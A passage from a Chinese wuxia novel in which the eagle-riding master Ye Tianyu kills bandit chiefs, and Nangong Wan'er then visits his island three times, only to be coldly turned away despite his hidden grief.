罢,提起手中的巨斧,对着青衫客就砍去,青衫客对身后大吼一声道:“给我杀。”说罢,从腰中掏出一节龙骨九节鞭,身后四名随从也纷纷拔出佩剑,只见青衫客迎着戴寿上前,手中钢鞭宛如狸猫戏鼠灵蛇甩尾,内力到处,手中钢鞭带着风雷之声,仿佛潮水波涛重重叠叠,刚中带柔,柔中带刚,恰似双龙出水,四面合围,八方风雨,九龙汇聚,尽显十面埋伏,真是风云变幻神鬼莫测,瞬间与戴寿战作一团,见此情形,双方人马又开始厮杀,戴寿是原大夏国第一猛将,天生神力,横推八马倒,倒拽九牛回,有万夫不当之勇,手中一柄镔铁雪花开山斧,斧为百兵之武,戴寿的斧法传自三国名将徐晃,三十六路天罡斧,威猛霸道,神鬼莫测,每路暗含三个变化,共108招,当年和朱元璋手下头号猛将常遇春交手,大战三百回合不分胜负,只见戴寿手中大斧挥舞如风,劈、砍、剁、抹、砸、搂、截,斩,使出天马望月、移山填海、倒踢金冠、斧定乾坤、横扫千军、力劈华山、霸王举鼎、翻江搅海、天罡地煞、一柱擎天,诸多杀招层出不穷,变化万千,只见青衫客不慌不忙,随手又抢了一柄柳叶刀,竟然用一柄重不过数斤,又短又轻的柳叶刀,对阵戴寿手中六十四斤的镔铁雪花开山斧,只见青衫客以小博大,以轻抵重,以薄挡厚,举轻若重,挡住戴寿狂雷巨霆的攻势后,只见青衫客嘴角轻蔑一笑,脸上一副不屑一顾的神情,手中钢鞭疾疾挥舞,如闲庭信步,园中赏花,只见漫天鞭影飞舞,宛如秋风扫叶,冬雪狂舞,惊涛骇浪,天雷滚滚,举手投足间,已经将戴寿逼得左支右绌,前俯后仰,狼狈不堪,戴寿与青衫客交手不过三四十招,便被青衫客手中钢鞭倏忽一招乌云盖顶打碎头骨,惨叫一声命丧黄泉,向大亨听到戴寿惨叫,扭头看见戴寿惨死,战友情深,兄弟意重,顿时怒吼一声,手提八棱梅花亮银锤,疾冲上前与青衫客开始厮杀,这向大亨原来也是大夏国名将,手中银锤传自宋朝猛将岳云,六十四路惊雷锤,威猛无俦,杀敌无数,锤为百兵之猛,只见向大亨砸、擂、涮、曳、挂、冲、云、盖,势如疯虎,手中银锤上下翻飞左砸右擂,前曳后挂,东冲西盖,指南打北,如怒龙翻海,猛虎巡山,焚天灭地,惊雷破川,刚柔相济攻守兼备,真是好一路锤法,但是可惜,他对敌的青衫客,武功已经空前绝后超凡入圣,内力更是深不可测雄厚无俦,二十几个回合左右,被青衫客又是一招古藤绕树打碎天灵骨,命丧当场,青衫客气运丹田,用狮吼功吼道:“匪首已死,降者不杀。”声音如惊雷一般,震得众人耳膜欲碎,有些不知死活的土匪,还想一拥而上围攻青衫客,只见青衫客风淡云轻如闲庭信步,手中龙骨九节鞭使得如狂风暴雨一般,片刻功夫,围攻的十几名悍匪,全部命丧当场,剩下的土匪,马贼,强盗,见青衫客如此凶猛,顿时吓得目瞪口呆面无人色,一个个失魂落魄,丢下兵器转身就跑,南宫子弟和武林人士还要追杀,青衫客大声喝道:“上天有好生之德,既然他们逃了,就饶了他们性命,你们这些逃命的土匪强盗,若是日后再敢作恶,我定然会取你们性命。”数千逃亡的土匪响马,听得清清楚楚,只觉得声音如同就在自己耳旁一般,一个个吓得魂飞魄散,只恨爹妈少生了两条腿,使出全身的力气,拼命逃窜。南宫勇,南宫义,南宫婉儿见青衫客已经发话,也就大声命令南宫世家的子弟和江湖人士停止追杀,众人来到青衫客面前,南宫勇等人深深鞠躬施礼道:“承蒙大侠施救,我等感激不尽,请大侠大驾光临,去我南宫世家,我们略尽地主之谊。”青衫客道:“不必了,江湖儿女行侠仗义,本是份内之事。”说罢一声口哨,只见空中盘旋的五只巨鹰俯冲而下,落在青衫客一行五人身旁,南宫婉儿见青衫客一行人就要骑鹰离去,连忙上前喊道:“这位大侠,请问你高姓大名?”青衫客冷冷答道:“不必了,就此别过。”说罢,带着几名随从骑上鹰背,雄鹰展翅,片刻功夫,已消失在茫茫天空之中。”南宫婉儿望着天空中消失的巨鹰,不由得心中思绪澎湃,南宫勇命令众人打扫战场,救治伤者,将阵亡的武林人士,火化带回,又命人从山寨中取出一些金银财宝,用以抚恤死伤之人,然后将山寨中的粮草搬到山下,派人去四周的乡村,告知百姓前来领取。数日后,事情全部办完,众人纷纷告别,各自回家,南宫婉儿和两个叔叔回家后,父亲和母亲带着族中留守人员,早早在庄门前迎接,南宫勇,南宫义,南宫婉儿和几名主要首领,跟着南宫信到大厅落座,南宫信听弟弟和女儿讲述事情经过,心中也是暗暗心惊,道:“若不是这位大侠仗义相助,只怕你们此次真的是有去无回,想不到龙门山土匪竟如此狡诈,暗中请来援兵,险些让我们全军覆没,幸得祖宗现灵保佑,天降巨鹰大侠,才救了你们的性命。”南宫婉儿道:“父亲,您见多识广,可知这骑着巨鹰的大侠是什么来头?”南宫信手捻胡须,思索片刻,道:“骑着巨鹰而来,年龄二十六七岁,武艺如此高强者,应该是灵隐寺三绝禅师的四弟子金翅大鹏叶天羽。”南宫婉儿道:“父亲,金翅大鹏叶天羽住在灵隐寺吗?”南宫信道:“不是,听说当年朱元璋和张士诚交战,灵隐四杰中的老三,也就是张士诚之子张仁凤为保数百义善堂的孤儿,束手就擒横剑自刎,其余的三杰青面狮,金毛犼,金翅大鹏带领西湖会的数百帮众,保护着几百孤儿漂洋过海,去了南洋,在南洋征服了三怪岛,青面狮将三怪岛改名炎黄岛,以示怀恋故土,时刻提醒自己是炎黄子孙,传说三怪岛中巨鹰蝙蝠极为通灵,见岛上毒蛇被金翅大鹏驱赶,所以全部臣服于金翅大鹏,依婉儿所言,骑巨鹰者,武功又如此高强,十之八九是炎黄岛的四岛主叶天羽。”南宫婉儿道:“那戴寿原为大夏国第一猛将,武艺高强,本领出众,金翅大鹏叶天羽在三四十招左右便将戴寿击杀,想不到叶天羽的武功竟然如此厉害。”南宫信道:“江湖传言,三绝禅师临终时,将毕生功力输送给了叶天羽,所以叶天羽不但全身铜筋铁骨,刀枪不入,而且武功已经出神入化登峰造极,内力更是深不可测雄厚无俦,手中一柄月牙伏魔杖,打遍四海,称雄九州,那南海三怪岛,数百年无人敢踏足,却被金翅大鹏在一日之内征服,不但杀死蛇母,还驱逐蛇群,收服巨鹰怪蝠,师兄弟三人带领手下一举剿灭南海最凶悍的章鱼帮海盗,后来,师兄弟三人又共闯棉兰国,在万军之中纵横自如,来回杀戮,视棉兰国两万精兵为无物,一战杀死棉兰国数千精悍士兵,叶天羽不但擒获棉兰国王,还逼得棉兰国王立下重誓,终生不得再侵犯炎黄岛,自此,南海剩下的七大海盗,南洋十六国都惧怕叶天羽横扫千军称雄天下的威势,无人敢踏入炎黄岛半步,所以天下武林江湖中人,都公认叶天羽是当今武林第一高手。”南宫婉儿听的心驰神往,不由道:“想不到叶天羽这么年轻,就是当今天下第一高手,真让人羡慕。”南宫信笑道:“女儿,你有所不知,叶天羽是三绝禅师的关门弟子,三绝禅师在武林中,辈分极高,现在就是少林的方丈,武当的掌门,包括你爹爹我见了叶天羽都要尊称一声前辈。”南宫婉儿咋舌道:“爹爹,你还要喊他前辈?”南宫信道:“不错,按辈分,我祖父和三绝禅师平辈论交,你想想看,我是不是要喊叶天羽为前辈?”南宫婉儿闻言,刹那间不禁目瞪口呆,只觉得心潮澎湃,脑海中油然而生浮现叶天羽威风八面孤傲霸气的神情,心想:“难怪叶天羽如此高傲,他不但武功天下第一,而且辈分也是武林最高,这样的人,肯定是一个非常骄傲的人。”南宫婉儿想到这,对南宫信道:“父亲,我们受叶天羽前辈如此大恩,我想和两个叔叔共赴炎黄岛,表示感谢。”南宫信点点头道:“好,受人滴水之恩,当涌泉相报,何况叶天羽前辈这次救了你们上千人的性命,应该要去重谢。”众人又商量了一番,几日后,南宫勇南宫义和南宫婉儿带着十几名随从,一行人十余人,从南宫世家出发,前往泉州码头,到了泉州码头后,南宫婉儿等人在码头上打听,准备找船只前往炎黄岛,码头的船老板们,一听说去炎黄岛,一个个争先恐后,都要送他们去,有个五十多岁的老汉,对众人道:“你们都年轻,这次去炎黄岛,都别和我争了,我免费送这十几位客官去。”南宫勇等人一听,都觉得奇怪,南宫婉儿道:“老人家,你们以此为生,为什么要免费送我们去炎黄岛?”船老板道:“我们东南沿海一带的渔民船民,原来都饱受南洋海盗之苦,幸得炎黄岛的几位岛主骑着巨鹰,寻找海盗的巢穴,警告他们不许再抢劫汉人的渔民船户,那几股海盗畏惧几位岛主的威严,从此对我们东南沿海一带的渔民船户都秋毫无犯,我们沿海一带的渔民船户都称几位岛主为活菩萨,你们既然去炎黄岛,寻找亲友,想必是几位岛主的亲戚朋友,小老汉心甘情愿免费送你们去。”南宫婉儿听了老船家的话,心中对炎黄岛的敬仰之情,又添加了几份,南宫婉儿对老船户道:“老人家,我们就坐你的船,但你以此为生,船费一定要收,我们也是深受炎黄岛叶天羽前辈的大恩,所以想登岛去感谢他,不知炎黄岛可有什么所缺之物,我们从这里买一些带过去。”老船家道:“姑娘想必也知道,炎黄岛原来叫三怪岛,岛上的巨鹰,常常去抓南海巨蚌为食,巨蚌中的珍珠被炎黄岛中人捡获,所以炎黄岛十分富足,并不缺什么金银珠宝。”南宫婉儿道:“那我们带些什么东西去合适呢?”老船家道:“我看炎黄岛时常派船来泉州码头采购一些孩子的衣物,零食,玩具,我劝姑娘不要带什么金银珠宝,那些炎黄岛都不缺,如果你想表示心意,不如多采购一些孩子们的衣物,零食,玩具,带去岛中。”南宫婉儿大喜道:“多谢老人家,我现在就命人前去采买。”南宫婉儿此次前来,从家中带了十万两银票,听老船家说岛上不缺金银,于是和两个叔叔商量,足足买了三大船孩子的衣物,零食,玩具,然后扬帆起航,直奔炎黄岛,在大海中行了十几日后,老船家找到南宫婉儿道:“姑娘,今天中午,我们就可到炎黄岛了。”南宫婉儿欢欣雀跃,到甲板上一看,只见炎黄岛,方圆数十里,树木葱郁,海鸟不断飞起,天空之中,还有几十只巨鹰盘旋,南宫婉儿看见巨鹰,连声道:“是这里,就是这里了,这就是叶天羽前辈骑的巨鹰。”功夫不大,船只靠岸,岛上的岛兵,前来问话,南宫勇上前答话,将所来目的如实禀报,并请岛兵代为通报,一名岛兵转身回去,大约过了半个时辰左右,只见岛上来了几个人,来到众人面前,只见为首一人,大约五十多岁,五缕长髯,举止儒雅,身旁一人五十岁左右,满头黄发,雄姿英发,第三人高高瘦瘦,神情冷傲,正是前些日子,出手相救众人的青衫客,南宫勇领着南宫信,侄女南宫婉儿上前施礼,道:“南宫门下,南宫勇,南宫义,南宫婉儿拜见三位岛主。”青面狮王定国等人也拱手还礼,王定国道:“不敢,不敢,久仰南宫世家大名,今日有缘相见,不胜欢喜,在下王定国,这两个是我的师弟李安邦,叶天羽,请随我等到岛上落座。”叶天羽虽然拱手还礼,却默不作声,跟着大师兄二师兄,陪着南宫一行人来到正厅坐下,南宫勇将龙门山一战,详情一一告知青面狮和金毛犼,对叶天羽自是感激万分,王定国道:“我这个师弟,就喜欢骑着鹰到处闲逛,看见不平之事,就要出手相助,南宫世家也是武林中有名的侠义世家,你们为了黎民百姓,而去剿匪,也是造福苍生,机缘巧合让我师弟看见了,我师弟自当拔刀相助,这是侠义中人,应做的本份,请诸位不必客气。”南宫婉儿道:“几位岛主,我们从家中出发时,我父亲让我带了十万两银票,以表谢意,但我们在泉州码头,听老船家道,岛上十分富足,并不缺金银珠宝,老人家说你们经常派船到泉州码头采购孩子们的衣服,零食,玩具,建议我们也买一些,所以我和两个叔叔买了一些衣服,零食,玩具,装了三条船,请岛主安排人卸下,分给岛上的孩子们。”王定国呵呵一笑道:“南宫姑娘,有心了,你们太客气了,我代岛上的孩子们向你们表示感谢。”于是王定国命李安邦安排人手,从船只上卸货,岛上义善堂带来的几百名孤儿,已经长大成为青少年,西湖会的几百兄弟,家家都有两三个,甚至三四个孩子,足足有上千名孩子,听说南宫世家买了衣服,零食,玩具上岛,一个个欢喜雀跃,都跑到码头上去看热闹,李安邦安排人手将衣服,零食,玩具分给岛上的孩子们,孩子们领到衣服零食玩具后,都兴高采烈,欣喜万分。”这边王定国师兄弟三人,还有张仁凤的儿子张敬贤,也已经十六七岁,陪同两位师伯和四师叔设宴款待南宫世家众人,酒席上,众人推杯换盏,欢声笑语,唯独叶天羽还是一副冷傲的表情,南宫婉儿站起身,举杯对叶天羽道:“叶前辈,承蒙你救命之恩,我代表南宫世家和当日被您搭救的巴蜀武林同道向您致谢。”说罢一饮而尽,叶天羽破天荒的笑了笑,也陪南宫婉儿干了杯中酒,南宫婉儿道:“叶前辈,我看着岛上风景秀丽,景色优美,不知你明天有没有空,陪我逛逛炎黄岛。”叶天羽闻言不觉一愣,但是当着众人的面,又不好出言拒绝,只好道:“既然南宫姑娘想在岛上游玩,我就陪南宫姑娘看看岛上的风光。”王定国和李安邦见南宫婉儿身材高挑,明眸皓齿,容貌秀丽,是一位万里挑一的美貌佳人,又见她出言邀请师弟明日同游,两人对视一眼,心中暗喜,心想小师弟已经二十六七岁了,为他介绍了很多女子,可是师弟总是不肯,眼见这南宫婉儿出身武林名门世家,是个才貌双全的美丽少女,若是能与师弟喜结连理,两个师兄也算是了却一桩大事。第二天一早,南宫婉儿和叶天羽一起,两人在炎黄岛上缓步走来,欣赏风景,身旁有许多孩童看到南宫婉儿,知道昨天衣服,零食玩具都是这位漂亮的姐姐带来的,都簇拥上来,有的喊南宫姑姑,有的喊南宫姐姐,一时间,欢声笑语,热闹非凡,那些孩童的母亲看见,悄悄的把孩童们都拉走,让南宫婉儿和叶天羽独自相处,两人在岛上边走边聊,中午时分,叶天羽从岛上的果树上采来很多不知名的野果,供两人食用,南宫婉儿像一只快乐的百灵鸟,叽叽喳喳的问个不停,叶天羽也耐心的给她解答,南宫婉儿吃着果子,对叶天羽道:“叶前辈,你也比我大不了几岁,我能不能不要喊你什么前辈,我就喊你叶四哥好不好?”叶天羽一愣,随即答道:“随便你。”南宫婉儿高兴道:“那我就喊你叶四哥了。”叶天羽也含笑答应,两人在岛上足足玩了一天,傍晚时分,回到住处,王定国和李安邦已经设好酒宴,款待众人,王定国把夫人丁氏,李安邦把夫人赵氏也叫了过来,足足摆了两大桌,酒席上,大家欢声笑语,气氛十分融洽,王定国和李安邦和两位夫人,听到南宫婉儿喊叶天羽为叶四哥,更是高兴的合不拢嘴,对南宫勇等人热情洋溢,唯恐有怠慢之处,丁夫人和赵夫人拉着南宫婉儿的手嘘寒问暖关怀备至,二位夫人道:“妹妹,以后你一定要常来炎黄岛,和我们聚聚,你看孩子们看见你来了,都高兴的要飞起,你以后可要常来啊。”南宫婉儿看看叶天羽,却见叶天羽默不作声,旁边的王定国和李安邦连忙搭话道:“以后都是自家人,南宫姑娘肯定会常来的,你们姐妹几个以后也要多聊聊,增进一下感情。”丁夫人和赵夫人连声答应道:“这是自然,以后南宫妹子就是我们炎黄岛的贵客,如同我们的亲妹妹一般,以后我们姐妹几个当然要好好相处了。”酒席上,众人推杯换盏,开怀畅饮,南宫婉儿对叶天羽道:“叶四哥,我看你骑的巨鹰好可爱啊,明天能不能带我,骑着巨鹰到周边的海岛看看风景。”叶天羽道犹豫了一下,道:“好,明天我带你骑鹰,到周边海岛看看。”张仁凤的儿子张敬贤在旁边听见,大声道:“南宫姐姐,明天我和你们一道,平时大师伯二师伯和四师叔都不让我们骑鹰,说怕我们危险,明天我和你们一起骑鹰出去玩,好不好?”没等南宫婉儿回答,王定国和李安邦不约而同的瞪了张敬贤一眼,王定国道:“你四师叔和南宫姑娘骑鹰出去玩,你一个小孩子去凑什么热闹?明天留在岛上和师兄师弟们一起练功。”张敬贤心不甘情不愿的,嘴里嘟囔着道:“不去就不去。”南宫婉儿对张敬贤道:“张弟弟,下一次我来,我们再骑鹰一起出去玩,好不好?”张敬贤高兴道:“南宫姐姐,你下次什么时候来啊?”南宫婉儿看了看叶天羽,道:“明年的中秋节,我还来这里看你们。”张敬贤欢呼雀跃道:“好啊,好啊,南宫姐姐,明年的中秋节,我们等着你。”王定国和丁夫人,李安邦和赵夫人,四人对视一眼,都抿着嘴角,微微一笑。第二天早晨,南宫婉儿和叶天羽出了住所,叶天羽吹了一声响哨,天空之中飞来了几只巨鹰,叶天羽对南宫婉儿讲了几句骑行时的要领,和简单的口令,两个人骑着巨鹰,飞向周边的海岛,南宫婉儿第一次骑着巨鹰飞翔,既兴奋又有点害怕,口中直喊:“叶四哥,你的鹰离我的鹰近一点,我有点害怕。”叶天羽发出指令,两只巨鹰并行,比翼齐飞,飞了足足一个时辰后,已经到了一处不知名的海滩,南宫婉儿看下面很多渔民在捕鱼,连忙喊道:“叶四哥,海里捕鱼我还没看过,我们下去看看。”叶天羽发出一声口令,命令两只巨鹰缓缓降到捕鱼的海滩上,海滩上,有二三十位渔民,正在用网把鱼围至浅滩,然后上去捕捞,为首的一名渔民大约五十多岁,满脸沧桑,见有人骑鹰来到,便迎上前,口中喊道:“两位贵客是不是炎黄岛的人?”南宫婉儿奇怪道:“老伯,你怎么知道我们从炎黄岛来?”渔翁道:“这周边的海洋,只有炎黄岛的人,才可以骑这南海巨鹰。”南宫婉儿恍然大悟道:“难怪,怪不得你一看到巨鹰,就知道我们是从炎黄岛来。”那渔翁上前打量了两人许久道:“这位姑娘不像是炎黄岛本地人,说话好像是四川方言。”南宫婉儿道:“我来自四川青城山。”老渔翁又看了看叶天羽道:“这位客官好像炎黄岛的四岛主金翅大鹏叶天羽,叶老人家吧?”没等到叶天羽回话,南宫婉儿忍俊不禁,噗嗤一笑,笑了出来,道:“老人家,你都这么大岁数了,还喊他叶老人家,感觉怪怪的。”那渔翁闻言,又惊又喜,噗通跪倒道:“这位客官真的是叶天羽叶老人家,老朽这厢有礼了!叶天羽连忙上前,将渔翁扶起道:“老人家,我就是叶天羽,你喊我小叶就行了。”渔翁连连摇头道:“这怎么成?”我好不容易才见您老人家一面,怎么敢喊您小叶啊?”南宫婉儿强忍笑意道:“老人家,我叶四哥也才二十多岁,你喊他老人家,不怕把他喊老了。”老翁一脸严肃道:“这位姑娘,你有所不知,我们这一带的渔民船商,原来饱受海盗欺凌,他们抢我们的财物,夺我们的鱼获,若是有人敢反抗,就会丧命,这些海盗害的我们生不如死,无法安身,幸亏炎黄岛几位岛主老人家出面,严令这些海盗不许抢夺我们汉人渔民,船家的财物,我们才能够安居乐业,衣食无忧,我们周边的渔民船家都喊炎黄岛几位岛主是活菩萨,老朽喊他老人家,乃是尊称。”南宫婉儿笑脸盈盈对叶天羽道:“叶四哥,你看你在沿海一带,好大的威风,五十多岁老人家看到你,都要喊你老人家活菩萨。”叶天羽听了,也忍俊不禁,咧嘴笑了起来,这一笑,可把南宫婉儿看得痴了,心中暗想,原来叶四哥笑起来这么好看,情难自控痴痴的盯着叶天羽出神,叶天 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羽见南宫婉儿盯着他看,身不由己的伸手擦了擦脸,好奇问道:“是不是我脸上有泥巴?”还是有什么脏东西?”你干嘛这么看着我?”南宫婉儿笑着道:“你脸上一没有泥巴,二没有脏东西,我看到的,只有一个词可以形容。”叶天羽好奇道:“什么词?”南宫婉儿道:“玉树临风!”叶天羽不禁脸上一红,道:“南宫姑娘,说笑了。”那渔翁连忙招呼人,送了两条肥美的海鱼过来,对叶天羽道:“叶老人家,这边无酒无茶,没办法招待两位,这两条鲜鱼,就送给你那巨鹰吃。”叶天羽点头谢过,渔翁恭恭敬敬的将两条肥美鲜鱼送到巨鹰脚下,那两头巨鹰,也是通灵,两双鹰目直愣愣的看着叶天羽,叶天羽道:“老人家诚心送鱼,你们就吃吧。”两头巨鹰得到号令,用利爪按住鲜鱼,大快朵颐起来,片刻功夫,两条肥美鲜鱼已经进了巨鹰的肚子,南宫婉儿道:“叶四哥,我们不打扰这位老伯了,我们再到别处转转。”两人和老渔翁告别,又跨上巨鹰,两头巨鹰展翅比翼齐飞,片刻之间,已经翱翔在高空之中,南宫婉儿情不自禁的道:“叶四哥,真希望时间就此停止,你我永远翱翔在天空之中。”叶天羽闻言,却是默不作声,一副心事重重的模样。晚上回岛后,王定国夫妻早已经安排妥当,叫来李安邦夫妻张敬贤等人,又摆了满满两大桌酒菜,众人又是开怀畅饮,南宫勇小声的对南宫婉儿道:“婉儿,我们在这也打扰几位岛主几天了,你看我们明天是不是该回去了?”南宫婉儿侧目看了看叶天羽,叶天羽却装作没听见,只是低着头一个劲的喝酒,王定国李安邦连忙道:“两位南宫兄弟,你们好不容易来一趟,还是多玩几天再走。”丁夫人和赵夫人也连声道:“不着急,不着急,南宫妹妹难得来一趟炎黄岛,是我们炎黄岛的贵客,让南宫妹妹在岛上和周边多玩几日。”南宫婉儿看了看低头喝酒默不作声的叶天羽,心中油然而生有些酸楚,低声道:“王大哥,李二哥,两位姐姐,我们已经打扰你们几天了,我们明天就回去,不再打扰你们了,这几天已经给你们添了很多麻烦。”王定国夫妻李安邦夫妻,连忙又齐声挽留,然后又将目光,齐刷刷的望着叶天羽,盼他出言挽留,但是叶天羽只是装作不知,只是埋头喝酒。”南宫婉儿心中酸楚,道:“王大哥,李二哥,两位姐姐,谢谢你们的盛情款待,明天一早我们就离岛,到了明年的中秋,我再来看望大家。”王定国夫妻李安邦夫妻还有张敬贤等人忙不迭的答好,叶天羽却如同聋哑了一般,默不作声,气的王定国李安邦等人都悄悄用眼睛瞪着叶天羽,第二天,南宫婉儿和两个叔叔一行人,登船离岛,王定国夫妻,李安邦夫妻和叶天羽张敬贤都来送行,众人都热情洋溢,说了一些祝一路顺风,欢迎常来,后会有期的客气话,唯独叶天羽却是无精打采,只淡淡的说了句:“诸位一路顺风。”南宫婉儿心中不禁有些难过,和叔叔等人上了船后,扬帆起航,二十几日后,回到泉州码头,然后又去客栈取了寄养的马匹,径直回了青城山南宫世家。”炎黄岛上,王定国夫妻,李安邦夫妻对着叶天羽就是一阵痛批,叶天羽只是低着头,一声不吭。”第二年中秋前夕,南宫勇和南宫义又奉大哥南宫信之命,陪着南宫婉儿到了泉州码头,在泉州码头上,一行人又买了满满的三船衣服,零食,玩具,扬帆起航,驶向炎黄岛,十几日功夫,到达炎黄岛码头,岛上的人得到消息,王定国夫妻,李安邦夫妻,叶天羽,张敬贤,还有岛上一大帮孩童们,都来码头迎接,王定国等人非常热情的招呼南宫婉儿一行,又命人将船上的衣物零食等卸下,分给岛上的孩童,一时间,孩子们欢天喜地,兴高采烈,一个个都眉飞色舞的大喊道:“南宫姐姐好,南宫姑姑好。”南宫婉儿也笑颜如花,和孩子们打着招呼,和众人的热情欢迎相比,叶天羽却神情默然落寞,一副心事重重的模样,到了晚上,王定国又安排酒席招待南宫婉儿等人,南宫婉儿在酒席上对叶天羽道:“叶四哥,明天我还想骑鹰出去到周边游玩,你能不能陪我一起?”叶天羽表情冷漠,道:“我这几天身体不舒服,不能陪你出去玩了。”南宫婉儿一听,关切之情溢于言表,忙问道:“叶四哥,你是生病了吗?”有没有请大夫看看?”王定国本身就精通医术,当年三绝禅师的医术,他学了十之八九,他看了看叶天羽,狠狠向他瞪了两眼,叶天羽却低着头故作不知,对南宫婉儿道:“没事,我睡几天就好了,这几天你自己在岛上转转吧。”丁夫人和李安邦夫妻,急的只冲叶天羽使眼色,叶天羽却低着头一言不发,南宫婉儿看在眼里,勉强笑道:“王大哥,李二哥,两位姐姐,既然叶四哥不舒服,就让他这几天好好休息,我们后天就启程回去。”听到此言,酒桌上的气氛瞬间变得有些尴尬,众人都感觉食之无味,草草的吃完饭,都回去休息,王定国和李安邦安排众人住下,丁夫人和赵夫人更是亲自送南宫婉儿去客房,安排妥当后,四人把叶天羽叫到了王定国家中,王定国道:“四弟,我看你今天一副不开心的样子,是不是谁得罪你了?”叶天羽闷声道:“没有,我就是身体有点不舒服。”王定国一伸手,抓过叶天羽的手腕,替他把起脉来,片刻功夫,王定国甩开叶天羽的手腕道:“四弟,我看你脉象平稳,哪有什么不舒服?我看你分明就是明天不想陪南宫姑娘出去游玩。”李安邦在旁边,劝道:“四弟,南宫姑娘才貌双全,武艺出众,又出身名门,是难得一遇的美貌佳人,这样的好姑娘,你可千万不要错过。”丁夫人和赵夫人也连声附和,四人讲了半天,叶天羽只是闷声闷气的答道:“我不想娶妻。”王定国道:“你都二十七八岁了,还说不想娶妻,难道你要孤老终生吗?这些年,你大嫂和二嫂为你介绍了多少个好姑娘,你都不愿意,我们都以为你眼光高,看不上那些普通女子,可如今这位南宫姑娘,相貌武功家世,可是万里挑一的好女子,你可万万不能错过。”叶天羽低着头,嘴中只是重复一句话:“我不想娶妻。”王定国夫妻和李安邦夫妻是又气又急,但又无可奈何,碰到这样的顽石脑袋,你说再多道理,他都听不进去。第二天早上,王定国和李安邦让两位夫人陪着南宫婉儿,在岛上游玩,岛上的孩子们簇拥着南宫婉儿,姑姑姐姐的叫个不停,几人和孩子们玩了一天,第三天一早,南宫婉儿向岛上众人辞行,岛上众人拼命挽留,说后天就是中秋佳节,务必过了中秋佳节再走,南宫婉儿谢过众人,道:“既然叶四哥身体不舒服,那我就先回去了,请王大哥李二哥多多费心照顾。”众人眼看实在挽留不住,只好作罢,丁夫人和赵夫人道:“妹子,你下次什么时候有空?还要来看我们,我们精心挑选了一些珍珠送给你。”说罢,丁夫人从怀中掏出了一串珍珠,只见那串珍珠又大又圆,晶莹剔透,都是难得一见的珍品,南宫婉儿连声推辞,但是丁夫人和赵夫人却是执意要给,三人推让许久,南宫婉儿见盛情难却,实在推辞不掉,只好收下,南宫婉儿长叹一声,对丁夫人和赵夫人道:“多谢两位姐姐,但再好的珍珠,也比不上心仪之人的一句暖心话。”丁夫人和赵夫人连忙道:“妹子,你明年中秋一定要来,我小师弟,就是脑子拎不清,有眼不识金镶玉,回头我让你王大哥李二哥,狠狠的责骂他。”南宫婉儿勉强一笑道:“古有刘备三顾茅庐,今有我南宫婉儿二顾炎黄岛,就此告辞,明年中秋再见。”说罢,乘船而去。”日月如梭,时光飞逝,转眼间,到了第三年的中秋前夕,南宫婉儿一行人,又装着几船的衣服零食玩具从泉州码头来到了炎黄岛,只见码头上,一群人早早在此等候,南宫婉儿下得船来,环顾四周,只见王定国夫妻,李安邦夫妻还有张敬贤几人,却不见叶天羽身影,不由问道:“王大哥李二哥,叶四哥呢?”几人脸色尴尬,我看看我,我看看你,不知如何回答,南宫婉儿伸手拉过张敬贤,问道:“敬贤,你告诉我,你四师叔呢?”张敬贤嘴里嘟嘟囔囔的,也不知道在说些什么,丁夫人和赵夫人连忙上前道:“妹子,你先到岛上休息,我们慢慢和你细说。”南宫婉儿看着两位夫人,道:“两位姐姐,你们和我实话实说,叶四哥是不是不想见我?”丁夫人和赵夫人连忙急声道:“妹子,不是,不是,是突然有点紧急事务,四师弟骑鹰去处理了,你在岛上等上几日,他办完事就会回来。”南宫婉儿看着众人的神情,心中已经明白,只感觉心头剧痛,仿佛已经裂成无数碎片,南宫婉儿木然摇摇头,面色凄楚道:“刘备三顾茅庐都可以请得了诸葛亮,我南宫婉儿三顾炎黄岛,叶天羽却躲着不肯见我,我再到岛上,又有何意义?”哥哥姐姐,你们把船上的货物卸下,我就此返程。”说罢,转身回了船舱,王定国和李安邦急的直跺脚,连忙让两位夫人上船去请,不想南宫婉儿将舱门反锁,两位夫人在舱门口,苦口婆心劝了半天,南宫婉儿道:“多谢两位姐姐盛情,我南宫婉儿不顾天下人耻笑,厚着脸皮三顾炎黄岛,想不到叶天羽竟然如此绝情寡义,从此我与他一刀两断,永不相见,两位姐姐请回吧,请恕妹妹无礼。”两位夫人你看看我,我看看你,束手无策,这时南宫勇和南宫义也上前对两位夫人道:“两位岛主夫人请回,我侄女既然心意已决,绝对不会更改,我们就此别过,青山绿水,有缘再见。”两位夫人见实在劝说不了,无奈之下,也只好下了船,南宫勇和南宫义指挥随从和船上船夫将货物卸下,然后扬帆返程。王定国和李安邦怒发冲冠,暴跳如雷,两位夫人也是气得连连跺脚,齐声怒骂叶天羽,但也无可奈何,只好目送南宫婉儿等人坐船离去,此时谁也没有注意到,在高空之上有一个黑点,正是骑着巨鹰的叶天羽,他在高空之上,看着南宫婉儿的船只离去,眼里的泪水一滴滴滑落,口中喃喃自语道:“南宫妹子,对不起,我实在有不得已的苦衷,只能辜负你一片深情,希望你回去之后,能够彻底把我忘记,找一个如意郎君,一生一世幸福快乐。”此时的叶天羽,脸上看不到一丝孤傲的神情,只有满脸的悲伤,已经泣不成声,泪如雨下,巨鹰仿佛也听懂了叶天羽的话,发出一阵阵哀鸣,叶天羽就这样默默看着,南宫婉儿的船只慢慢消失在视野中,只觉得心如刀绞,痛不欲生。此时的南宫婉儿在船舱内,把自己反锁在船舱中,伤心欲绝,眼泪如断了线的珍珠一般,顺着脸颊滑落,口中喃喃自语道:“叶天羽,你这薄情寡义之人,我为你三顾炎黄岛,受尽天下人耻笑,你却对我如此绝情,我南宫婉儿从此与你势不两立。”南宫婉儿伤心欲绝,深夜时分,独自一人出了船舱,默然站在船头,遥望炎黄岛方向,泪如雨下。 